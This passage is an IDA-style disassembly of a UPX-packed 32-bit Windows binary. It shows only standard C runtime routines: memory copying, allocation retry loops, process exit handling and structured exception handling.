		dd offset loc_405158
		dd offset loc_405150
		dd offset loc_405148
; ---------------------------------------------------------------------------


loc_405148:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_405150:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_405158:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_405160:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_405168:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_405170:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_405178:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40518B:				; CODE XREF: sub_405020:loc_4050A4j
					; DATA XREF: sub_405020:off_405128o
		jmp	off_405194[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_405194	dd offset loc_4051A4	; DATA XREF: sub_405020+5Cr
					; sub_405020+BAr ...
		dd offset loc_4051AC
		dd offset loc_4051B8
		dd offset loc_4051CC
; ---------------------------------------------------------------------------


loc_4051A4:				; CODE XREF: sub_405020+5Cj
					; sub_405020+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4051AC:				; CODE XREF: sub_405020+5Cj
					; sub_405020+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4051B8:				; CODE XREF: sub_405020+5Cj
					; sub_405020+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4051CC:				; CODE XREF: sub_405020+5Cj
					; sub_405020+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4051E4:				; CODE XREF: sub_405020+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_405218
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40520C
		std
		rep movsd
		cld
		jmp	off_405330[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40520C:				; CODE XREF: sub_405020+1DDj
					; sub_405020+238j ...
		neg	ecx
		jmp	off_4052E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_405218:				; CODE XREF: sub_405020+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_405230
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_405230+4[eax*4]
; ---------------------------------------------------------------------------


loc_405230:				; CODE XREF: sub_405020+202j
					; DATA XREF: sub_405020+209r
		jmp	off_405330[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_405243+1
; ---------------------------------------------------------------------------
		push	90004052h
		push	edx
		inc	eax


loc_405243:				; DATA XREF: sub_405020+218o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_40520C
		std
		rep movsd
		cld
		jmp	off_405330[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40520C
		std
		rep movsd
		cld
		jmp	off_405330[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40520C
		std
		rep movsd
		cld
		jmp	off_405330[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4052E4
		dd offset loc_4052EC
		dd offset loc_4052F4
		dd offset loc_4052FC
		dd offset loc_405304
		dd offset loc_40530C
		dd offset loc_405314
off_4052E0	dd offset loc_405327	; DATA XREF: sub_405020+1EEr
; ---------------------------------------------------------------------------


loc_4052E4:				; DATA XREF: sub_405020+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_4052EC:				; DATA XREF: sub_405020+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_4052F4:				; DATA XREF: sub_405020+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_4052FC:				; DATA XREF: sub_405020+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_405304:				; DATA XREF: sub_405020+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_40530C:				; DATA XREF: sub_405020+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_405314:				; DATA XREF: sub_405020+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_405327:				; CODE XREF: sub_405020+1EEj
					; DATA XREF: sub_405020:off_4052E0o
		jmp	off_405330[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_405330	dd offset loc_405340	; DATA XREF: sub_405020+1E3r
					; sub_405020:loc_405230r ...
		dd offset loc_405348
		dd offset loc_405358
		dd offset loc_40536C
; ---------------------------------------------------------------------------


loc_405340:				; CODE XREF: sub_405020+1E3j
					; sub_405020:loc_405230j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405348:				; CODE XREF: sub_405020+1E3j
					; sub_405020:loc_405230j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_405358:				; CODE XREF: sub_405020+1E3j
					; sub_405020:loc_405230j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40536C:				; CODE XREF: sub_405020+1E3j
					; sub_405020:loc_405230j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_405020	endp


; =============== S U B	R O U T	I N E =======================================



sub_405385	proc near		; CODE XREF: sub_404F20+80p
					; sub_40928C+182p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_40538B:				; CODE XREF: sub_405385+13j
		cmp	eax, ds:dword_40F070[ecx*8]
		jz	short loc_4053A6
		inc	ecx
		cmp	ecx, 2Dh
		jb	short loc_40538B
		lea	ecx, [eax-13h]
		cmp	ecx, 11h
		ja	short loc_4053AE
		push	0Dh
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4053A6:				; CODE XREF: sub_405385+Dj
		mov	eax, ds:dword_40F074[ecx*8]
		retn
; ---------------------------------------------------------------------------


loc_4053AE:				; CODE XREF: sub_405385+1Bj
		add	eax, 0FFFFFF44h
		push	0Eh
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		and	eax, ecx
		add	eax, 8
		retn
sub_405385	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053C0	proc near		; CODE XREF: sub_4024EE:loc_402505p
					; sub_4024EE+66p ...
		call	sub_4048B0
		test	eax, eax
		jnz	short loc_4053CF
		mov	eax, offset dword_40F1D8
		retn
; ---------------------------------------------------------------------------


loc_4053CF:				; CODE XREF: sub_4053C0+7j
		add	eax, 8
		retn
sub_4053C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4053D3	proc near		; CODE XREF: sub_40652A+7Cp
					; sub_4065E3+9Ap ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		xor	esi, esi


loc_4053D7:				; CODE XREF: sub_4053D3+39j
		push	[esp+8+arg_0]
		call	sub_404E31
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_40540E
		cmp	ds:dword_410158, eax
		jbe	short loc_40540E
		push	esi
		call	dword_40C090	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, ds:dword_410158
		jbe	short loc_405407
		or	eax, 0FFFFFFFFh


loc_405407:				; CODE XREF: sub_4053D3+2Fj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_4053D7


loc_40540E:				; CODE XREF: sub_4053D3+12j
					; sub_4053D3+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4053D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_405413	proc near		; CODE XREF: sub_402622+5p
					; sub_4048B0+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi


loc_405417:				; CODE XREF: sub_405413+41j
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40916E
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_405456
		cmp	ds:dword_410158, eax
		jbe	short loc_405456
		push	esi
		call	dword_40C090	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, ds:dword_410158
		jbe	short loc_40544F
		or	eax, 0FFFFFFFFh


loc_40544F:				; CODE XREF: sub_405413+37j
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_405417


loc_405456:				; CODE XREF: sub_405413+1Aj
					; sub_405413+22j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_405413	endp


; =============== S U B	R O U T	I N E =======================================



sub_40545B	proc near		; CODE XREF: sub_402569+5Cp
					; sub_402569+73p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		xor	esi, esi


loc_40545F:				; CODE XREF: sub_40545B+44j
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_40928C
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jnz	short loc_4054A1
		cmp	[esp+8+arg_4], eax
		jz	short loc_4054A1
		cmp	ds:dword_410158, eax
		jbe	short loc_4054A1
		push	esi
		call	dword_40C090	; Sleep
		lea	eax, [esi+3E8h]
		cmp	eax, ds:dword_410158
		jbe	short loc_40549A
		or	eax, 0FFFFFFFFh


loc_40549A:				; CODE XREF: sub_40545B+3Aj
		cmp	eax, 0FFFFFFFFh
		mov	esi, eax
		jnz	short loc_40545F


loc_4054A1:				; CODE XREF: sub_40545B+17j
					; sub_40545B+1Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40545B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054A6	proc near		; CODE XREF: sub_402569+3Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_40DF28
		call	__SEH_prolog4
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_4054DF
		call	sub_4053C0
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_402191
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_405532
; ---------------------------------------------------------------------------


loc_4054DF:				; CODE XREF: sub_4054A6+1Aj
		cmp	ds:dword_4108E4, 3
		jnz	short loc_405520
		push	4
		call	sub_4079D2
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_40854D
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_40550C
		mov	esi, [ebx-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_40550F
; ---------------------------------------------------------------------------


loc_40550C:				; CODE XREF: sub_4054A6+59j
		mov	esi, [ebp+var_1C]


loc_40550F:				; CODE XREF: sub_4054A6+64j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_405540
		cmp	[ebp+var_20], edi
		jnz	short loc_405530


loc_405520:				; CODE XREF: sub_4054A6+40j
		push	ebx
		push	edi
		push	ds:dword_4105D4
		call	dword_40C094	; RtlSizeHeap
		mov	esi, eax


loc_405530:				; CODE XREF: sub_4054A6+78j
		mov	eax, esi


loc_405532:				; CODE XREF: sub_4054A6+37j
		call	__SEH_epilog4
		retn
sub_4054A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_405538	proc near		; DATA XREF: UPX1:0040DF40o
		xor	edi, edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_405538	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405540	proc near		; CODE XREF: sub_4054A6+70p
		push	4
		call	sub_4078FA
		pop	ecx
		retn
sub_405540	endp


; =============== S U B	R O U T	I N E =======================================



sub_405549	proc near		; CODE XREF: start-F8C6p start-F8A0p ...

arg_0		= dword	ptr  4

		call	sub_4060C3
		push	[esp+arg_0]
		call	sub_405F23
		push	ds:dword_40F1E0
		call	sub_40470B
		push	0FFh
		call	eax
		add	esp, 0Ch
		retn
sub_405549	endp


; =============== S U B	R O U T	I N E =======================================



sub_40556D	proc near		; CODE XREF: sub_405593+4p

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	dword_40C064	; GetModuleHandleA
		test	eax, eax
		jz	short locret_405592
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	dword_40C068	; GetProcAddress
		test	eax, eax
		jz	short locret_405592
		push	[esp+arg_0]
		call	eax ; sub_40B144

locret_405592:				; CODE XREF: sub_40556D+Dj
					; sub_40556D+1Dj
		retn
sub_40556D	endp


; =============== S U B	R O U T	I N E =======================================



sub_405593	proc near		; CODE XREF: sub_403EFE+1Cp
					; sub_404E31+34p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40556D
		pop	ecx
		push	[esp+arg_0]
		call	dword_40C098	; ExitProcess
		int	3		; Trap to Debugger
sub_405593	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4055A8	proc near		; CODE XREF: sub_402651+Cp
		push	8
		call	sub_4079D2
		pop	ecx
		retn
sub_4055A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055B1	proc near		; CODE XREF: sub_402687p
		push	8
		call	sub_4078FA
		pop	ecx
		retn
sub_4055B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055BA	proc near		; CODE XREF: sub_4056F7+8Cp
					; sub_4056F7+9Cp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_4055CA
; ---------------------------------------------------------------------------


loc_4055BF:				; CODE XREF: sub_4055BA+14j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4055C7
		call	eax


loc_4055C7:				; CODE XREF: sub_4055BA+9j
		add	esi, 4


loc_4055CA:				; CODE XREF: sub_4055BA+3j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_4055BF
		pop	esi
		retn
sub_4055BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055D2	proc near		; CODE XREF: sub_405665+32p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	eax, eax
		jmp	short loc_4055EA
; ---------------------------------------------------------------------------


loc_4055DB:				; CODE XREF: sub_4055D2+1Cj
		test	eax, eax
		jnz	short loc_4055F0
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_4055E7
		call	ecx


loc_4055E7:				; CODE XREF: sub_4055D2+11j
		add	esi, 4


loc_4055EA:				; CODE XREF: sub_4055D2+7j
		cmp	esi, [esp+4+arg_4]
		jb	short loc_4055DB


loc_4055F0:				; CODE XREF: sub_4055D2+Bj
		pop	esi
		retn
sub_4055D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4055F2	proc near		; CODE XREF: sub_4069A0+12p
					; sub_409843+27p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_40561A


loc_4055FD:				; CODE XREF: sub_4055F2+2Fj
		call	sub_4053C0
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_402191
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40561A:				; CODE XREF: sub_4055F2+9j
		mov	eax, ds:dword_410160
		cmp	eax, esi
		jz	short loc_4055FD
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn
sub_4055F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_405629	proc near		; CODE XREF: sub_404628+16p
					; sub_4069A0+2Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_405651


loc_405634:				; CODE XREF: sub_405629+2Ej
		call	sub_4053C0
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_402191
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_405651:				; CODE XREF: sub_405629+9j
		cmp	ds:dword_410160, esi
		jz	short loc_405634
		mov	ecx, ds:dword_41016C
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_405629	endp


; =============== S U B	R O U T	I N E =======================================



sub_405665	proc near		; CODE XREF: start-F888p

arg_0		= dword	ptr  4

		cmp	ds:dword_410A10, 0
		jz	short loc_405688
		push	offset dword_410A10
		call	sub_409550
		test	eax, eax
		pop	ecx
		jz	short loc_405688
		push	[esp+arg_0]
		call	ds:dword_410A10
		pop	ecx


loc_405688:				; CODE XREF: sub_405665+7j
					; sub_405665+16j
		call	sub_4094A7
		push	offset dword_40C158
		push	offset dword_40C140
		call	sub_4055D2
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short locret_4056F6
		push	esi
		push	edi
		push	offset sub_40697C
		call	sub_40268D
		mov	esi, offset dword_40C134
		mov	eax, esi
		mov	edi, offset dword_40C13C
		cmp	eax, edi
		pop	ecx
		jnb	short loc_4056CE


loc_4056BF:				; CODE XREF: sub_405665+67j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4056C7
		call	eax


loc_4056C7:				; CODE XREF: sub_405665+5Ej
		add	esi, 4
		cmp	esi, edi
		jb	short loc_4056BF


loc_4056CE:				; CODE XREF: sub_405665+58j
		cmp	ds:dword_410A14, 0
		pop	edi
		pop	esi
		jz	short loc_4056F4
		push	offset dword_410A14
		call	sub_409550
		test	eax, eax
		pop	ecx
		jz	short loc_4056F4
		push	0
		push	2
		push	0
		call	ds:dword_410A14


loc_4056F4:				; CODE XREF: sub_405665+72j
					; sub_405665+81j
		xor	eax, eax

locret_4056F6:				; CODE XREF: sub_405665+3Bj
		retn
sub_405665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4056F7	proc near		; CODE XREF: sub_4057D9+8p
					; sub_4057EA+8p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 004057D3 SIZE 00000006 BYTES

		push	10h
		push	offset dword_40DF48
		call	__SEH_prolog4
		push	8
		call	sub_4079D2
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		xor	ebx, ebx
		inc	ebx
		cmp	ds:dword_4101A0, ebx
		jz	short loc_405799
		mov	ds:dword_41019C, ebx
		mov	al, byte ptr [ebp+arg_8]
		mov	ds:byte_410198,	al
		cmp	[ebp+arg_4], edi
		jnz	short loc_405789
		push	ds:dword_410A08
		call	sub_40470B
		mov	[ebp+var_1C], eax
		push	ds:dword_410A04
		call	sub_40470B
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	[ebp+var_1C], edi
		jz	short loc_405779


loc_405753:				; CODE XREF: sub_4056F7+6Aj
					; sub_4056F7+75j ...
		sub	esi, 4
		mov	[ebp+var_20], esi
		cmp	esi, [ebp+var_1C]
		jb	short loc_405779
		cmp	dword ptr [esi], 0
		jz	short loc_405753
		mov	edi, [esi]
		call	sub_404702
		cmp	edi, eax
		jz	short loc_405753
		push	edi
		call	sub_40470B
		pop	ecx
		call	eax
		jmp	short loc_405753
; ---------------------------------------------------------------------------


loc_405779:				; CODE XREF: sub_4056F7+5Aj
					; sub_4056F7+65j
		push	offset dword_40C160
		mov	eax, offset dword_40C15C
		call	sub_4055BA
		pop	ecx


loc_405789:				; CODE XREF: sub_4056F7+35j
		push	offset dword_40C168
		mov	eax, offset dword_40C164
		call	sub_4055BA
		pop	ecx


loc_405799:				; CODE XREF: sub_4056F7+22j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4057C4
		cmp	[ebp+arg_8], 0
		jnz	short loc_4057D3
		mov	ds:dword_4101A0, ebx
		push	8
		call	sub_4078FA
		pop	ecx
		push	[ebp+arg_0]
		call	sub_405593


loc_4057C1:				; DATA XREF: UPX1:0040DF60o
		xor	ebx, ebx
		inc	ebx
sub_4056F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4057C4	proc near		; CODE XREF: sub_4056F7+A9p
		cmp	dword ptr [ebp+10h], 0
		jz	short locret_4057D2
		push	8
		call	sub_4078FA
		pop	ecx

locret_4057D2:				; CODE XREF: sub_4057C4+4j
		retn
sub_4057C4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4056F7


loc_4057D3:				; CODE XREF: sub_4056F7+B2j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4056F7

; =============== S U B	R O U T	I N E =======================================



sub_4057D9	proc near		; CODE XREF: start-F84Cp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_4056F7
		add	esp, 0Ch
		retn
sub_4057D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057EA	proc near		; CODE XREF: UPX0:00404114p
					; sub_409665+D9p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_4056F7
		add	esp, 0Ch
		retn
sub_4057EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057FB	proc near		; CODE XREF: start:loc_4040E9p
		push	1
		push	0
		push	0
		call	sub_4056F7
		add	esp, 0Ch
		retn
sub_4057FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40580A	proc near		; CODE XREF: UPX0:loc_404119p
		push	1
		push	1
		push	0
		call	sub_4056F7
		add	esp, 0Ch
		retn
sub_40580A	endp


; =============== S U B	R O U T	I N E =======================================



sub_405819	proc near		; CODE XREF: sub_404A60+C4p
		push	esi
		call	sub_404702
		mov	esi, eax
		push	esi
		call	sub_404EF4
		push	esi
		call	sub_409829
		push	esi
		call	sub_40208B
		push	esi
		call	sub_40981F
		push	esi
		call	sub_409815
		push	esi
		call	sub_40960B
		push	esi
		call	nullsub_1
		push	esi
		call	sub_4077F6
		push	offset sub_4057EA
		call	sub_404694
		add	esp, 24h
		mov	ds:dword_40F1E0, eax
		pop	esi
		retn
sub_405819	endp

; ---------------------------------------------------------------------------
		align 4
; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4058D0	proc near		; DATA XREF: __SEH_prolog4o
					; sub_409550+Ao

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00409A11 SIZE 00000019 BYTES

		sub	esp, 14h
		push	ebx
		mov	ebx, [esp+18h+arg_4]
		push	ebp
		push	esi
		mov	esi, [ebx+8]
		xor	esi, ds:dword_40F060
		push	edi
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		mov	[esp+24h+var_11], 0
		mov	[esp+24h+var_C], 1
		lea	edi, [ebx+10h]
		jz	short loc_405908
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40224A


loc_405908:				; CODE XREF: sub_4058D0+29j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40224A
		mov	eax, [esp+24h+arg_0]
		test	byte ptr [eax+4], 66h
		jnz	loc_405A45
		mov	ebp, [ebx+0Ch]
		cmp	ebp, 0FFFFFFFEh
		mov	ecx, [esp+24h+arg_8]
		lea	edx, [esp+24h+var_8]
		mov	[esp+24h+var_8], eax
		mov	[esp+24h+var_4], ecx
		mov	[ebx-4], edx
		jz	short loc_40599F


loc_405941:				; CODE XREF: sub_4058D0+A2j
		lea	eax, [ebp+ebp*2+0]
		mov	ecx, [esi+eax*4+14h]
		test	ecx, ecx
		lea	ebx, [esi+eax*4+10h]
		mov	eax, [ebx]
		mov	[esp+24h+var_10], eax
		jz	short loc_40596D
		mov	edx, edi
		call	sub_4099FA
		test	eax, eax
		mov	[esp+24h+var_11], 1
		jl	short loc_4059AB
		jg	short loc_4059B5
		mov	eax, [esp+24h+var_10]


loc_40596D:				; CODE XREF: sub_4058D0+85j
		cmp	eax, 0FFFFFFFEh
		mov	ebp, eax
		jnz	short loc_405941
		cmp	[esp+24h+var_11], 0
		jz	short loc_40599F


loc_40597B:				; CODE XREF: sub_4058D0+E3j
					; sub_4058D0+191j
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40598F
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40224A


loc_40598F:				; CODE XREF: sub_4058D0+B0j
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40224A


loc_40599F:				; CODE XREF: sub_4058D0+6Fj
					; sub_4058D0+A9j ...
		mov	eax, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_4059AB:				; CODE XREF: sub_4058D0+95j
		mov	[esp+24h+var_C], 0
		jmp	short loc_40597B
; ---------------------------------------------------------------------------


loc_4059B5:				; CODE XREF: sub_4058D0+97j
		mov	ecx, [esp+24h+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_4059EB
		cmp	off_40C85C, 0
		jz	short loc_4059EB
		push	offset off_40C85C
		call	sub_409550
		add	esp, 4
		test	eax, eax
		jz	short loc_4059EB
		mov	edx, [esp+24h+arg_0]
		push	1
		push	edx
		call	off_40C85C
		add	esp, 8


loc_4059EB:				; CODE XREF: sub_4058D0+EFj
					; sub_4058D0+F8j ...
		mov	ecx, [esp+24h+arg_4]
		call	sub_409A2A
		mov	eax, [esp+24h+arg_4]
		cmp	[eax+0Ch], ebp
		jz	short loc_405A10
		push	offset dword_40F060
		push	edi
		mov	edx, ebp
		mov	ecx, eax
		call	sub_409A44
		mov	eax, [esp+24h+arg_4]


loc_405A10:				; CODE XREF: sub_4058D0+12Bj
		mov	ecx, [esp+24h+var_10]
		mov	[eax+0Ch], ecx
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFEh
		jz	short loc_405A2B
		mov	ecx, [esi+4]
		add	ecx, edi
		xor	ecx, [eax+edi]
		call	sub_40224A


loc_405A2B:				; CODE XREF: sub_4058D0+14Cj
		mov	ecx, [esi+0Ch]
		mov	edx, [esi+8]
		add	ecx, edi
		xor	ecx, [edx+edi]
		call	sub_40224A
		mov	ecx, [ebx+8]
		mov	edx, edi
		jmp	loc_409A11
; ---------------------------------------------------------------------------


loc_405A45:				; CODE XREF: sub_4058D0+50j
		cmp	dword ptr [ebx+0Ch], 0FFFFFFFEh
		jz	loc_40599F
		push	offset dword_40F060
		push	edi
		mov	ecx, ebx
		mov	edx, 0FFFFFFFEh
		call	sub_409A44
